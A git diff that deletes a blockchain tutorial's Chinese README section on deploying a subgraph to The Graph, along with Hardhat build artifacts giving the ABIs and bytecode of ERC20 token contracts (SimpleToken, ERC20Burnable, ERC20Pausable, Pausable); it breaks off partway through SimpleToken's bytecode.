-    <SUBGRAPH_NAME>
-```
-<SUBGRAPH_NAME> 使用完成的 Subgraph 名称，我们这里是：longdacao/graphtest 。
-
-或者直接运行
-```
-yarn deploy
-```
-
-11) 在 TheGraph 查看  
-如果顺利的话，可以在 TheGraph 的面板上观察到 subgraph 索引过程，初始索引可能需要等待几分钟
-
-## subgraph 
-subgraph 定义了你希望通过 GraphQL API 提供的数据、数据源和数据访问模式。开发者可以选择直接使用别人已经部署[17]的 subgraph，或者自己定义并部署 subgraph。
-1 GraphQL Schema
-GraphQL Schema 定义了你想保存和查询的数据类型/实体。也可定义如关系或全文搜索的配置项。
-2 subgraph 清单（ yaml 配置）
-manifest定义了 subgraph 索引的智能合约、合约的ABI、关注这些合约的事件，以及如何将事件数据映射到 Graph 节点存储并允许查询。
-3 AssemblyScript 映射
-AssemblyScript 映射允许您使用 schema 中定义的实体类型保存要索引的数据。Graph CLI还使用 schema 与智能合约的 ABI 的组合生成 AssemblyScript 类型。
-
-通过@derivedFrom建立关系
-通过@derivedFrom字段在实体上定义反向查询，这样就在实体上创建了一个虚拟字段，使它可以被查询，但不能通过映射 API 手动设置。实际上，这是从另一个实体上定义的关系中衍生出来的。这样的关系，对存储关系的两者意义不大，如果只存储一方而派生另一方，则索引和查询性能都会更好。
-
-## 参考链接  
-官方文档：   
-https://thegraph.com/docs/introduction
-   
-本项目参考文档：  
-https://mp.weixin.qq.com/s/DlC5jAS_CzXuOZFmmveNXA  
-https://mp.weixin.qq.com/s/LhdAREmhXSHxIaVfhcJQ_g
-https://dev.to/dabit3/building-graphql-apis-on-ethereum-4poa   
-https://learnblockchain.cn/article/2566  
- 
-   
-## to do
-在 thegraph 网站上支持字段过滤  
-https://thegraph.com/  
-https://graphql.cn/learn/ 
diff --git a/Example08-hardhat-graph/artifacts/contracts/SimpleToken.sol/ERC20.dbg.json b/Example08-hardhat-graph/artifacts/contracts/SimpleToken.sol/ERC20.dbg.json
deleted file mode 100644
index 900c1dde4..000000000
--- a/Example08-hardhat-graph/artifacts/contracts/SimpleToken.sol/ERC20.dbg.json
+++ /dev/null
@@ -1,4 +0,0 @@
-{
-  "_format": "hh-sol-dbg-1",
-  "buildInfo": "../../build-info/12ffa66daf26246441758ab475cf7e7b.json"
-}
diff --git a/Example08-hardhat-graph/artifacts/contracts/SimpleToken.sol/ERC20Burnable.dbg.json b/Example08-hardhat-graph/artifacts/contracts/SimpleToken.sol/ERC20Burnable.dbg.json
deleted file mode 100644
index 900c1dde4..000000000
--- a/Example08-hardhat-graph/artifacts/contracts/SimpleToken.sol/ERC20Burnable.dbg.json
+++ /dev/null
@@ -1,4 +0,0 @@
-{
-  "_format": "hh-sol-dbg-1",
-  "buildInfo": "../../build-info/12ffa66daf26246441758ab475cf7e7b.json"
-}
diff --git a/Example08-hardhat-graph/artifacts/contracts/SimpleToken.sol/ERC20Burnable.json b/Example08-hardhat-graph/artifacts/contracts/SimpleToken.sol/ERC20Burnable.json
deleted file mode 100644
index 1ce068243..000000000
--- a/Example08-hardhat-graph/artifacts/contracts/SimpleToken.sol/ERC20Burnable.json
+++ /dev/null
@@ -1,312 +0,0 @@
-{
-  "_format": "hh-sol-artifact-1",
-  "contractName": "ERC20Burnable",
-  "sourceName": "contracts/SimpleToken.sol",
-  "abi": [
-    {
-      "anonymous": false,
-      "inputs": [
-        {
-          "indexed": true,
-          "internalType": "address",
-          "name": "owner",
-          "type": "address"
-        },
-        {
-          "indexed": true,
-          "internalType": "address",
-          "name": "spender",
-          "type": "address"
-        },
-        {
-          "indexed": false,
-          "internalType": "uint256",
-          "name": "value",
-          "type": "uint256"
-        }
-      ],
-      "name": "Approval",
-      "type": "event"
-    },
-    {
-      "anonymous": false,
-      "inputs": [
-        {
-          "indexed": true,
-          "internalType": "address",
-          "name": "from",
-          "type": "address"
-        },
-        {
-          "indexed": true,
-          "internalType": "address",
-          "name": "to",
-          "type": "address"
-        },
-        {
-          "indexed": false,
-          "internalType": "uint256",
-          "name": "value",
-          "type": "uint256"
-        }
-      ],
-      "name": "Transfer",
-      "type": "event"
-    },
-    {
-      "inputs": [
-        {
-          "internalType": "address",
-          "name": "owner",
-          "type": "address"
-        },
-        {
-          "internalType": "address",
-          "name": "spender",
-          "type": "address"
-        }
-      ],
-      "name": "allowance",
-      "outputs": [
-        {
-          "internalType": "uint256",
-          "name": "",
-          "type": "uint256"
-        }
-      ],
-      "stateMutability": "view",
-      "type": "function"
-    },
-    {
-      "inputs": [
-        {
-          "internalType": "address",
-          "name": "spender",
-          "type": "address"
-        },
-        {
-          "internalType": "uint256",
-          "name": "amount",
-          "type": "uint256"
-        }
-      ],
-      "name": "approve",
-      "outputs": [
-        {
-          "internalType": "bool",
-          "name": "",
-          "type": "bool"
-        }
-      ],
-      "stateMutability": "nonpayable",
-      "type": "function"
-    },
-    {
-      "inputs": [
-        {
-          "internalType": "address",
-          "name": "account",
-          "type": "address"
-        }
-      ],
-      "name": "balanceOf",
-      "outputs": [
-        {
-          "internalType": "uint256",
-          "name": "",
-          "type": "uint256"
-        }
-      ],
-      "stateMutability": "view",
-      "type": "function"
-    },
-    {
-      "inputs": [
-        {
-          "internalType": "uint256",
-          "name": "amount",
-          "type": "uint256"
-        }
-      ],
-      "name": "burn",
-      "outputs": [],
-      "stateMutability": "nonpayable",
-      "type": "function"
-    },
-    {
-      "inputs": [
-        {
-          "internalType": "address",
-          "name": "account",
-          "type": "address"
-        },
-        {
-          "internalType": "uint256",
-          "name": "amount",
-          "type": "uint256"
-        }
-      ],
-      "name": "burnFrom",
-      "outputs": [],
-      "stateMutability": "nonpayable",
-      "type": "function"
-    },
-    {
-      "inputs": [],
-      "name": "decimals",
-      "outputs": [
-        {
-          "internalType": "uint8",
-          "name": "",
-          "type": "uint8"
-        }
-      ],
-      "stateMutability": "view",
-      "type": "function"
-    },
-    {
-      "inputs": [
-        {
-          "internalType": "address",
-          "name": "spender",
-          "type": "address"
-        },
-        {
-          "internalType": "uint256",
-          "name": "subtractedValue",
-          "type": "uint256"
-        }
-      ],
-      "name": "decreaseAllowance",
-      "outputs": [
-        {
-          "internalType": "bool",
-          "name": "",
-          "type": "bool"
-        }
-      ],
-      "stateMutability": "nonpayable",
-      "type": "function"
-    },
-    {
-      "inputs": [
-        {
-          "internalType": "address",
-          "name": "spender",
-          "type": "address"
-        },
-        {
-          "internalType": "uint256",
-          "name": "addedValue",
-          "type": "uint256"
-        }
-      ],
-      "name": "increaseAllowance",
-      "outputs": [
-        {
-          "internalType": "bool",
-          "name": "",
-          "type": "bool"
-        }
-      ],
-      "stateMutability": "nonpayable",
-      "type": "function"
-    },
-    {
-      "inputs": [],
-      "name": "name",
-      "outputs": [
-        {
-          "internalType": "string",
-          "name": "",
-          "type": "string"
-        }
-      ],
-      "stateMutability": "view",
-      "type": "function"
-    },
-    {
-      "inputs": [],
-      "name": "symbol",
-      "outputs": [
-        {
-          "internalType": "string",
-          "name": "",
-          "type": "string"
-        }
-      ],
-      "stateMutability": "view",
-      "type": "function"
-    },
-    {
-      "inputs": [],
-      "name": "totalSupply",
-      "outputs": [
-        {
-          "internalType": "uint256",
-          "name": "",
-          "type": "uint256"
-        }
-      ],
-      "stateMutability": "view",
-      "type": "function"
-    },
-    {
-      "inputs": [
-        {
-          "internalType": "address",
-          "name": "recipient",
-          "type": "address"
-        },
-        {
-          "internalType": "uint256",
-          "name": "amount",
-          "type": "uint256"
-        }
-      ],
-      "name": "transfer",
-      "outputs": [
-        {
-          "internalType": "bool",
-          "name": "",
-          "type": "bool"
-        }
-      ],
-      "stateMutability": "nonpayable",
-      "type": "function"
-    },
-    {
-      "inputs": [
-        {
-          "internalType": "address",
-          "name": "sender",
-          "type": "address"
-        },
-        {
-          "internalType": "address",
-          "name": "recipient",
-          "type": "address"
-        },
-        {
-          "internalType": "uint256",
-          "name": "amount",
-          "type": "uint256"
-        }
-      ],
-      "name": "transferFrom",
-      "outputs": [
-        {
-          "internalType": "bool",
-          "name": "",
-          "type": "bool"
-        }
-      ],
-      "stateMutability": "nonpayable",
-      "type": "function"
-    }
-  ],
-  "bytecode": "0x",
-  "deployedBytecode": "0x",
-  "linkReferences": {},
-  "deployedLinkReferences": {}
-}
diff --git a/Example08-hardhat-graph/artifacts/contracts/SimpleToken.sol/ERC20Pausable.dbg.json b/Example08-hardhat-graph/artifacts/contracts/SimpleToken.sol/ERC20Pausable.dbg.json
deleted file mode 100644
index 900c1dde4..000000000
--- a/Example08-hardhat-graph/artifacts/contracts/SimpleToken.sol/ERC20Pausable.dbg.json
+++ /dev/null
@@ -1,4 +0,0 @@
-{
-  "_format": "hh-sol-dbg-1",
-  "buildInfo": "../../build-info/12ffa66daf26246441758ab475cf7e7b.json"
-}
diff --git a/Example08-hardhat-graph/artifacts/contracts/SimpleToken.sol/ERC20Pausable.json b/Example08-hardhat-graph/artifacts/contracts/SimpleToken.sol/ERC20Pausable.json
deleted file mode 100644
index a0e2f6813..000000000
--- a/Example08-hardhat-graph/artifacts/contracts/SimpleToken.sol/ERC20Pausable.json
+++ /dev/null
@@ -1,320 +0,0 @@
-{
-  "_format": "hh-sol-artifact-1",
-  "contractName": "ERC20Pausable",
-  "sourceName": "contracts/SimpleToken.sol",
-  "abi": [
-    {
-      "anonymous": false,
-      "inputs": [
-        {
-          "indexed": true,
-          "internalType": "address",
-          "name": "owner",
-          "type": "address"
-        },
-        {
-          "indexed": true,
-          "internalType": "address",
-          "name": "spender",
-          "type": "address"
-        },
-        {
-          "indexed": false,
-          "internalType": "uint256",
-          "name": "value",
-          "type": "uint256"
-        }
-      ],
-      "name": "Approval",
-      "type": "event"
-    },
-    {
-      "anonymous": false,
-      "inputs": [
-        {
-          "indexed": false,
-          "internalType": "address",
-          "name": "account",
-          "type": "address"
-        }
-      ],
-      "name": "Paused",
-      "type": "event"
-    },
-    {
-      "anonymous": false,
-      "inputs": [
-        {
-          "indexed": true,
-          "internalType": "address",
-          "name": "from",
-          "type": "address"
-        },
-        {
-          "indexed": true,
-          "internalType": "address",
-          "name": "to",
-          "type": "address"
-        },
-        {
-          "indexed": false,
-          "internalType": "uint256",
-          "name": "value",
-          "type": "uint256"
-        }
-      ],
-      "name": "Transfer",
-      "type": "event"
-    },
-    {
-      "anonymous": false,
-      "inputs": [
-        {
-          "indexed": false,
-          "internalType": "address",
-          "name": "account",
-          "type": "address"
-        }
-      ],
-      "name": "Unpaused",
-      "type": "event"
-    },
-    {
-      "inputs": [
-        {
-          "internalType": "address",
-          "name": "owner",
-          "type": "address"
-        },
-        {
-          "internalType": "address",
-          "name": "spender",
-          "type": "address"
-        }
-      ],
-      "name": "allowance",
-      "outputs": [
-        {
-          "internalType": "uint256",
-          "name": "",
-          "type": "uint256"
-        }
-      ],
-      "stateMutability": "view",
-      "type": "function"
-    },
-    {
-      "inputs": [
-        {
-          "internalType": "address",
-          "name": "spender",
-          "type": "address"
-        },
-        {
-          "internalType": "uint256",
-          "name": "amount",
-          "type": "uint256"
-        }
-      ],
-      "name": "approve",
-      "outputs": [
-        {
-          "internalType": "bool",
-          "name": "",
-          "type": "bool"
-        }
-      ],
-      "stateMutability": "nonpayable",
-      "type": "function"
-    },
-    {
-      "inputs": [
-        {
-          "internalType": "address",
-          "name": "account",
-          "type": "address"
-        }
-      ],
-      "name": "balanceOf",
-      "outputs": [
-        {
-          "internalType": "uint256",
-          "name": "",
-          "type": "uint256"
-        }
-      ],
-      "stateMutability": "view",
-      "type": "function"
-    },
-    {
-      "inputs": [],
-      "name": "decimals",
-      "outputs": [
-        {
-          "internalType": "uint8",
-          "name": "",
-          "type": "uint8"
-        }
-      ],
-      "stateMutability": "view",
-      "type": "function"
-    },
-    {
-      "inputs": [
-        {
-          "internalType": "address",
-          "name": "spender",
-          "type": "address"
-        },
-        {
-          "internalType": "uint256",
-          "name": "subtractedValue",
-          "type": "uint256"
-        }
-      ],
-      "name": "decreaseAllowance",
-      "outputs": [
-        {
-          "internalType": "bool",
-          "name": "",
-          "type": "bool"
-        }
-      ],
-      "stateMutability": "nonpayable",
-      "type": "function"
-    },
-    {
-      "inputs": [
-        {
-          "internalType": "address",
-          "name": "spender",
-          "type": "address"
-        },
-        {
-          "internalType": "uint256",
-          "name": "addedValue",
-          "type": "uint256"
-        }
-      ],
-      "name": "increaseAllowance",
-      "outputs": [
-        {
-          "internalType": "bool",
-          "name": "",
-          "type": "bool"
-        }
-      ],
-      "stateMutability": "nonpayable",
-      "type": "function"
-    },
-    {
-      "inputs": [],
-      "name": "name",
-      "outputs": [
-        {
-          "internalType": "string",
-          "name": "",
-          "type": "string"
-        }
-      ],
-      "stateMutability": "view",
-      "type": "function"
-    },
-    {
-      "inputs": [],
-      "name": "paused",
-      "outputs": [
-        {
-          "internalType": "bool",
-          "name": "",
-          "type": "bool"
-        }
-      ],
-      "stateMutability": "view",
-      "type": "function"
-    },
-    {
-      "inputs": [],
-      "name": "symbol",
-      "outputs": [
-        {
-          "internalType": "string",
-          "name": "",
-          "type": "string"
-        }
-      ],
-      "stateMutability": "view",
-      "type": "function"
-    },
-    {
-      "inputs": [],
-      "name": "totalSupply",
-      "outputs": [
-        {
-          "internalType": "uint256",
-          "name": "",
-          "type": "uint256"
-        }
-      ],
-      "stateMutability": "view",
-      "type": "function"
-    },
-    {
-      "inputs": [
-        {
-          "internalType": "address",
-          "name": "recipient",
-          "type": "address"
-        },
-        {
-          "internalType": "uint256",
-          "name": "amount",
-          "type": "uint256"
-        }
-      ],
-      "name": "transfer",
-      "outputs": [
-        {
-          "internalType": "bool",
-          "name": "",
-          "type": "bool"
-        }
-      ],
-      "stateMutability": "nonpayable",
-      "type": "function"
-    },
-    {
-      "inputs": [
-        {
-          "internalType": "address",
-          "name": "sender",
-          "type": "address"
-        },
-        {
-          "internalType": "address",
-          "name": "recipient",
-          "type": "address"
-        },
-        {
-          "internalType": "uint256",
-          "name": "amount",
-          "type": "uint256"
-        }
-      ],
-      "name": "transferFrom",
-      "outputs": [
-        {
-          "internalType": "bool",
-          "name": "",
-          "type": "bool"
-        }
-      ],
-      "stateMutability": "nonpayable",
-      "type": "function"
-    }
-  ],
-  "bytecode": "0x",
-  "deployedBytecode": "0x",
-  "linkReferences": {},
-  "deployedLinkReferences": {}
-}
diff --git a/Example08-hardhat-graph/artifacts/contracts/SimpleToken.sol/IERC20.dbg.json b/Example08-hardhat-graph/artifacts/contracts/SimpleToken.sol/IERC20.dbg.json
deleted file mode 100644
index 900c1dde4..000000000
--- a/Example08-hardhat-graph/artifacts/contracts/SimpleToken.sol/IERC20.dbg.json
+++ /dev/null
@@ -1,4 +0,0 @@
-{
-  "_format": "hh-sol-dbg-1",
-  "buildInfo": "../../build-info/12ffa66daf26246441758ab475cf7e7b.json"
-}
diff --git a/Example08-hardhat-graph/artifacts/contracts/SimpleToken.sol/Pausable.dbg.json b/Example08-hardhat-graph/artifacts/contracts/SimpleToken.sol/Pausable.dbg.json
deleted file mode 100644
index 900c1dde4..000000000
--- a/Example08-hardhat-graph/artifacts/contracts/SimpleToken.sol/Pausable.dbg.json
+++ /dev/null
@@ -1,4 +0,0 @@
-{
-  "_format": "hh-sol-dbg-1",
-  "buildInfo": "../../build-info/12ffa66daf26246441758ab475cf7e7b.json"
-}
diff --git a/Example08-hardhat-graph/artifacts/contracts/SimpleToken.sol/Pausable.json b/Example08-hardhat-graph/artifacts/contracts/SimpleToken.sol/Pausable.json
deleted file mode 100644
index d6e58aae0..000000000
--- a/Example08-hardhat-graph/artifacts/contracts/SimpleToken.sol/Pausable.json
+++ /dev/null
@@ -1,50 +0,0 @@
-{
-  "_format": "hh-sol-artifact-1",
-  "contractName": "Pausable",
-  "sourceName": "contracts/SimpleToken.sol",
-  "abi": [
-    {
-      "anonymous": false,
-      "inputs": [
-        {
-          "indexed": false,
-          "internalType": "address",
-          "name": "account",
-          "type": "address"
-        }
-      ],
-      "name": "Paused",
-      "type": "event"
-    },
-    {
-      "anonymous": false,
-      "inputs": [
-        {
-          "indexed": false,
-          "internalType": "address",
-          "name": "account",
-          "type": "address"
-        }
-      ],
-      "name": "Unpaused",
-      "type": "event"
-    },
-    {
-      "inputs": [],
-      "name": "paused",
-      "outputs": [
-        {
-          "internalType": "bool",
-          "name": "",
-          "type": "bool"
-        }
-      ],
-      "stateMutability": "view",
-      "type": "function"
-    }
-  ],
-  "bytecode": "0x",
-  "deployedBytecode": "0x",
-  "linkReferences": {},
-  "deployedLinkReferences": {}
-}
diff --git a/Example08-hardhat-graph/artifacts/contracts/SimpleToken.sol/SimpleToken.dbg.json b/Example08-hardhat-graph/artifacts/contracts/SimpleToken.sol/SimpleToken.dbg.json
deleted file mode 100644
index 900c1dde4..000000000
--- a/Example08-hardhat-graph/artifacts/contracts/SimpleToken.sol/SimpleToken.dbg.json
+++ /dev/null
@@ -1,4 +0,0 @@
-{
-  "_format": "hh-sol-dbg-1",
-  "buildInfo": "../../build-info/12ffa66daf26246441758ab475cf7e7b.json"
-}
diff --git a/Example08-hardhat-graph/artifacts/contracts/SimpleToken.sol/SimpleToken.json b/Example08-hardhat-graph/artifacts/contracts/SimpleToken.sol/SimpleToken.json
deleted file mode 100644
index ccd920855..000000000
--- a/Example08-hardhat-graph/artifacts/contracts/SimpleToken.sol/SimpleToken.json
+++ /dev/null
@@ -1,695 +0,0 @@
-{
-  "_format": "hh-sol-artifact-1",
-  "contractName": "SimpleToken",
-  "sourceName": "contracts/SimpleToken.sol",
-  "abi": [
-    {
-      "inputs": [
-        {
-          "internalType": "string",
-          "name": "name",
-          "type": "string"
-        },
-        {
-          "internalType": "string",
-          "name": "symbol",
-          "type": "string"
-        },
-        {
-          "internalType": "uint8",
-          "name": "decimals",
-          "type": "uint8"
-        },
-        {
-          "internalType": "uint256",
-          "name": "initial_supply",
-          "type": "uint256"
-        }
-      ],
-      "stateMutability": "nonpayable",
-      "type": "constructor"
-    },
-    {
-      "anonymous": false,
-      "inputs": [
-        {
-          "indexed": true,
-          "internalType": "address",
-          "name": "owner",
-          "type": "address"
-        },
-        {
-          "indexed": true,
-          "internalType": "address",
-          "name": "spender",
-          "type": "address"
-        },
-        {
-          "indexed": false,
-          "internalType": "uint256",
-          "name": "value",
-          "type": "uint256"
-        }
-      ],
-      "name": "Approval",
-      "type": "event"
-    },
-    {
-      "anonymous": false,
-      "inputs": [
-        {
-          "indexed": false,
-          "internalType": "address",
-          "name": "account",
-          "type": "address"
-        }
-      ],
-      "name": "Paused",
-      "type": "event"
-    },
-    {
-      "anonymous": false,
-      "inputs": [
-        {
-          "indexed": true,
-          "internalType": "bytes32",
-          "name": "role",
-          "type": "bytes32"
-        },
-        {
-          "indexed": true,
-          "internalType": "bytes32",
-          "name": "previousAdminRole",
-          "type": "bytes32"
-        },
-        {
-          "indexed": true,
-          "internalType": "bytes32",
-          "name": "newAdminRole",
-          "type": "bytes32"
-        }
-      ],
-      "name": "RoleAdminChanged",
-      "type": "event"
-    },
-    {
-      "anonymous": false,
-      "inputs": [
-        {
-          "indexed": true,
-          "internalType": "bytes32",
-          "name": "role",
-          "type": "bytes32"
-        },
-        {
-          "indexed": true,
-          "internalType": "address",
-          "name": "account",
-          "type": "address"
-        },
-        {
-          "indexed": true,
-          "internalType": "address",
-          "name": "sender",
-          "type": "address"
-        }
-      ],
-      "name": "RoleGranted",
-      "type": "event"
-    },
-    {
-      "anonymous": false,
-      "inputs": [
-        {
-          "indexed": true,
-          "internalType": "bytes32",
-          "name": "role",
-          "type": "bytes32"
-        },
-        {
-          "indexed": true,
-          "internalType": "address",
-          "name": "account",
-          "type": "address"
-        },
-        {
-          "indexed": true,
-          "internalType": "address",
-          "name": "sender",
-          "type": "address"
-        }
-      ],
-      "name": "RoleRevoked",
-      "type": "event"
-    },
-    {
-      "anonymous": false,
-      "inputs": [
-        {
-          "indexed": true,
-          "internalType": "address",
-          "name": "from",
-          "type": "address"
-        },
-        {
-          "indexed": true,
-          "internalType": "address",
-          "name": "to",
-          "type": "address"
-        },
-        {
-          "indexed": false,
-          "internalType": "uint256",
-          "name": "value",
-          "type": "uint256"
-        }
-      ],
-      "name": "Transfer",
-      "type": "event"
-    },
-    {
-      "anonymous": false,
-      "inputs": [
-        {
-          "indexed": false,
-          "internalType": "address",
-          "name": "account",
-          "type": "address"
-        }
-      ],
-      "name": "Unpaused",
-      "type": "event"
-    },
-    {
-      "inputs": [],
-      "name": "DEFAULT_ADMIN_ROLE",
-      "outputs": [
-        {
-          "internalType": "bytes32",
-          "name": "",
-          "type": "bytes32"
-        }
-      ],
-      "stateMutability": "view",
-      "type": "function"
-    },
-    {
-      "inputs": [],
-      "name": "INITIAL_SUPPLY",
-      "outputs": [
-        {
-          "internalType": "uint256",
-          "name": "",
-          "type": "uint256"
-        }
-      ],
-      "stateMutability": "view",
-      "type": "function"
-    },
-    {
-      "inputs": [],
-      "name": "MINTER_ROLE",
-      "outputs": [
-        {
-          "internalType": "bytes32",
-          "name": "",
-          "type": "bytes32"
-        }
-      ],
-      "stateMutability": "view",
-      "type": "function"
-    },
-    {
-      "inputs": [],
-      "name": "PAUSER_ROLE",
-      "outputs": [
-        {
-          "internalType": "bytes32",
-          "name": "",
-          "type": "bytes32"
-        }
-      ],
-      "stateMutability": "view",
-      "type": "function"
-    },
-    {
-      "inputs": [
-        {
-          "internalType": "address",
-          "name": "owner",
-          "type": "address"
-        },
-        {
-          "internalType": "address",
-          "name": "spender",
-          "type": "address"
-        }
-      ],
-      "name": "allowance",
-      "outputs": [
-        {
-          "internalType": "uint256",
-          "name": "",
-          "type": "uint256"
-        }
-      ],
-      "stateMutability": "view",
-      "type": "function"
-    },
-    {
-      "inputs": [
-        {
-          "internalType": "address",
-          "name": "spender",
-          "type": "address"
-        },
-        {
-          "internalType": "uint256",
-          "name": "amount",
-          "type": "uint256"
-        }
-      ],
-      "name": "approve",
-      "outputs": [
-        {
-          "internalType": "bool",
-          "name": "",
-          "type": "bool"
-        }
-      ],
-      "stateMutability": "nonpayable",
-      "type": "function"
-    },
-    {
-      "inputs": [
-        {
-          "internalType": "address",
-          "name": "account",
-          "type": "address"
-        }
-      ],
-      "name": "balanceOf",
-      "outputs": [
-        {
-          "internalType": "uint256",
-          "name": "",
-          "type": "uint256"
-        }
-      ],
-      "stateMutability": "view",
-      "type": "function"
-    },
-    {
-      "inputs": [
-        {
-          "internalType": "uint256",
-          "name": "amount",
-          "type": "uint256"
-        }
-      ],
-      "name": "burn",
-      "outputs": [],
-      "stateMutability": "nonpayable",
-      "type": "function"
-    },
-    {
-      "inputs": [
-        {
-          "internalType": "address",
-          "name": "account",
-          "type": "address"
-        },
-        {
-          "internalType": "uint256",
-          "name": "amount",
-          "type": "uint256"
-        }
-      ],
-      "name": "burnFrom",
-      "outputs": [],
-      "stateMutability": "nonpayable",
-      "type": "function"
-    },
-    {
-      "inputs": [],
-      "name": "decimals",
-      "outputs": [
-        {
-          "internalType": "uint8",
-          "name": "",
-          "type": "uint8"
-        }
-      ],
-      "stateMutability": "view",
-      "type": "function"
-    },
-    {
-      "inputs": [
-        {
-          "internalType": "address",
-          "name": "spender",
-          "type": "address"
-        },
-        {
-          "internalType": "uint256",
-          "name": "subtractedValue",
-          "type": "uint256"
-        }
-      ],
-      "name": "decreaseAllowance",
-      "outputs": [
-        {
-          "internalType": "bool",
-          "name": "",
-          "type": "bool"
-        }
-      ],
-      "stateMutability": "nonpayable",
-      "type": "function"
-    },
-    {
-      "inputs": [
-        {
-          "internalType": "bytes32",
-          "name": "role",
-          "type": "bytes32"
-        }
-      ],
-      "name": "getRoleAdmin",
-      "outputs": [
-        {
-          "internalType": "bytes32",
-          "name": "",
-          "type": "bytes32"
-        }
-      ],
-      "stateMutability": "view",
-      "type": "function"
-    },
-    {
-      "inputs": [
-        {
-          "internalType": "bytes32",
-          "name": "role",
-          "type": "bytes32"
-        },
-        {
-          "internalType": "uint256",
-          "name": "index",
-          "type": "uint256"
-        }
-      ],
-      "name": "getRoleMember",
-      "outputs": [
-        {
-          "internalType": "address",
-          "name": "",
-          "type": "address"
-        }
-      ],
-      "stateMutability": "view",
-      "type": "function"
-    },
-    {
-      "inputs": [
-        {
-          "internalType": "bytes32",
-          "name": "role",
-          "type": "bytes32"
-        }
-      ],
-      "name": "getRoleMemberCount",
-      "outputs": [
-        {
-          "internalType": "uint256",
-          "name": "",
-          "type": "uint256"
-        }
-      ],
-      "stateMutability": "view",
-      "type": "function"
-    },
-    {
-      "inputs": [
-        {
-          "internalType": "bytes32",
-          "name": "role",
-          "type": "bytes32"
-        },
-        {
-          "internalType": "address",
-          "name": "account",
-          "type": "address"
-        }
-      ],
-      "name": "grantRole",
-      "outputs": [],
-      "stateMutability": "nonpayable",
-      "type": "function"
-    },
-    {
-      "inputs": [
-        {
-          "internalType": "bytes32",
-          "name": "role",
-          "type": "bytes32"
-        },
-        {
-          "internalType": "address",
-          "name": "account",
-          "type": "address"
-        }
-      ],
-      "name": "hasRole",
-      "outputs": [
-        {
-          "internalType": "bool",
-          "name": "",
-          "type": "bool"
-        }
-      ],
-      "stateMutability": "view",
-      "type": "function"
-    },
-    {
-      "inputs": [
-        {
-          "internalType": "address",
-          "name": "spender",
-          "type": "address"
-        },
-        {
-          "internalType": "uint256",
-          "name": "addedValue",
-          "type": "uint256"
-        }
-      ],
-      "name": "increaseAllowance",
-      "outputs": [
-        {
-          "internalType": "bool",
-          "name": "",
-          "type": "bool"
-        }
-      ],
-      "stateMutability": "nonpayable",
-      "type": "function"
-    },
-    {
-      "inputs": [
-        {
-          "internalType": "address",
-          "name": "to",
-          "type": "address"
-        },
-        {
-          "internalType": "uint256",
-          "name": "amount",
-          "type": "uint256"
-        }
-      ],
-      "name": "mint",
-      "outputs": [],
-      "stateMutability": "nonpayable",
-      "type": "function"
-    },
-    {
-      "inputs": [],
-      "name": "name",
-      "outputs": [
-        {
-          "internalType": "string",
-          "name": "",
-          "type": "string"
-        }
-      ],
-      "stateMutability": "view",
-      "type": "function"
-    },
-    {
-      "inputs": [],
-      "name": "pause",
-      "outputs": [],
-      "stateMutability": "nonpayable",
-      "type": "function"
-    },
-    {
-      "inputs": [],
-      "name": "paused",
-      "outputs": [
-        {
-          "internalType": "bool",
-          "name": "",
-          "type": "bool"
-        }
-      ],
-      "stateMutability": "view",
-      "type": "function"
-    },
-    {
-      "inputs": [
-        {
-          "internalType": "bytes32",
-          "name": "role",
-          "type": "bytes32"
-        },
-        {
-          "internalType": "address",
-          "name": "account",
-          "type": "address"
-        }
-      ],
-      "name": "renounceRole",
-      "outputs": [],
-      "stateMutability": "nonpayable",
-      "type": "function"
-    },
-    {
-      "inputs": [
-        {
-          "internalType": "bytes32",
-          "name": "role",
-          "type": "bytes32"
-        },
-        {
-          "internalType": "address",
-          "name": "account",
-          "type": "address"
-        }
-      ],
-      "name": "revokeRole",
-      "outputs": [],
-      "stateMutability": "nonpayable",
-      "type": "function"
-    },
-    {
-      "inputs": [
-        {
-          "internalType": "bytes4",
-          "name": "interfaceId",
-          "type": "bytes4"
-        }
-      ],
-      "name": "supportsInterface",
-      "outputs": [
-        {
-          "internalType": "bool",
-          "name": "",
-          "type": "bool"
-        }
-      ],
-      "stateMutability": "view",
-      "type": "function"
-    },
-    {
-      "inputs": [],
-      "name": "symbol",
-      "outputs": [
-        {
-          "internalType": "string",
-          "name": "",
-          "type": "string"
-        }
-      ],
-      "stateMutability": "view",
-      "type": "function"
-    },
-    {
-      "inputs": [],
-      "name": "totalSupply",
-      "outputs": [
-        {
-          "internalType": "uint256",
-          "name": "",
-          "type": "uint256"
-        }
-      ],
-      "stateMutability": "view",
-      "type": "function"
-    },
-    {
-      "inputs": [
-        {
-          "internalType": "address",
-          "name": "recipient",
-          "type": "address"
-        },
-        {
-          "internalType": "uint256",
-          "name": "amount",
-          "type": "uint256"
-        }
-      ],
-      "name": "transfer",
-      "outputs": [
-        {
-          "internalType": "bool",
-          "name": "",
-          "type": "bool"
-        }
-      ],
-      "stateMutability": "nonpayable",
-      "type": "function"
-    },
-    {
-      "inputs": [
-        {
-          "internalType": "address",
-          "name": "sender",
-          "type": "address"
-        },
-        {
-          "internalType": "address",
-          "name": "recipient",
-          "type": "address"
-        },
-        {
-          "internalType": "uint256",
-          "name": "amount",
-          "type": "uint256"
-        }
-      ],
-      "name": "transferFrom",
-      "outputs": [
-        {
-          "internalType": "bool",
-          "name": "",
-          "type": "bool"
-        }
-      ],
-      "stateMutability": "nonpayable",
-      "type": "function"
-    },
-    {
-      "inputs": [],
-      "name": "unpause",
-      "outputs": [],
-      "stateMutability": "nonpayable",
-      "type": "function"
-    }
-  ],
-  "bytecode": "0x60806040526012600a62000014919062000a91565b61271062000023919062000bce565b6008553480156200003357600080fd5b50604051620040c5380380620040c58339818101604052810190620000599190620007a7565b8383818181600590805190602001906200007592919062000657565b5080600690805190602001906200008e92919062000657565b5050506000600760006101000a81548160ff021916908315150217905550620000d06000801b620000c4620001b260201b60201c565b620001ba60201b60201c565b620001117f9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a662000105620001b260201b60201c565b620001ba60201b60201c565b620001527f65d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862a62000146620001b260201b60201c565b620001ba60201b60201c565b505081600760016101000a81548160ff021916908360ff1602179055508160ff16600a62000181919062000a91565b816200018e919062000bce565b600881905550620001a8336008546200020260201b60201c565b5050505062000d80565b600033905090565b620001d182826200036860201b62000f1d1760201c565b620001fd81600160008581526020019081526020016000206200037e60201b62000f2b1790919060201c565b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141562000275576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200026c9062000900565b60405180910390fd5b62000289600